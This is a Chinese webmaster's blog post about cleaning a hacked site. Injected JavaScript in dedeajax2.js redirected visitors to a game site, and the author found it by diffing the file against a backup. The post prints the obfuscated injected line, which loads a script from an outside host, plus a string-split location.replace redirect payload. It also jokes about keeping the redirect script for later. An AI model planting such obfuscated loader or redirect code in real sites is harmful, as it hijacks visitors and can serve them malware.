很不幸,前段时间网站被挂了马,导致每次打开网站就被跳转到别的网站。这可难坏了小白站长飞鹿优化。不过经过了一天的努力,终于将被挂马部分找到了,并且顺利解决了这个问题。写出这篇文章供和飞鹿优化一样的小白站长们参考。
一、            具体现象
在浏览器中输入www.fdeer.com回车后就会出现了网站跳转到一个游戏网站上去。然后第二次输入确可以正常访问了。而且换了电脑任然是这种情况。分析为网站被挂马了。
二、           查找方法及解决方式:
1、在网站正常页面右键-查看源代码。显示如下:

和原始代码没有什么异常。
2、在浏览器中按下F12,查看源代码,如下:

看到了红色标示的多余代码。
3、将现在的网站dedeajax2.js和原来备份的网站的dedeajax2.js下载下来使用TextDiff进行对比,发现现在网站的第258行出现了不同。也就是跳转的这段代码。

4、将不同的以下代码删除,保存后上传到原目录。document.write(“<sc”+”ript src=’http://Q”+”.H\x52″+”44″+”.Co”+”\x4d/s”+”.as”+”p?sichuan.chengdu’><\/sc”+”ript>”);
5、更新网站,一切OK。
三、            总结及知识补充
        根据本次的事情,总结以下几点:
1、要养成定期备份网站的习惯。在网站出现异常时能够及时恢复网站。
2、网站的补丁及时打很有必要。
3、此段代码解析:<body text=”white”>
<scriptlanguage=”javascript”>location.replace(“h”+”t”+”t”+”p”+”:”+”/”+”/”+”q”+”.”+”h”+”r”+”4″+”4″+”.”+”c”+”o”+”m”+”/”+”s”+”.”+”a”+”s”+”p”+”?sichuan.chengdu.”);</script></body>   文本颜色为白色,将页面替换为
“h”+”t”+”t”+”p”+”:”+”/”+”/”+”q”+”.”+”h”+”r”+”4″+”4″+”.”+”c”+”o”+”m”+”/”+”s”+”.”+”a”+”s”+”p”+”?sichuan.chengdu.”
即跳转的那个页面。
4、存了一个好的跳转脚本哦。嘿嘿。

声明:
本站所有文章,如无特殊说明或标注,均为本站原创发布。
任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。
如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。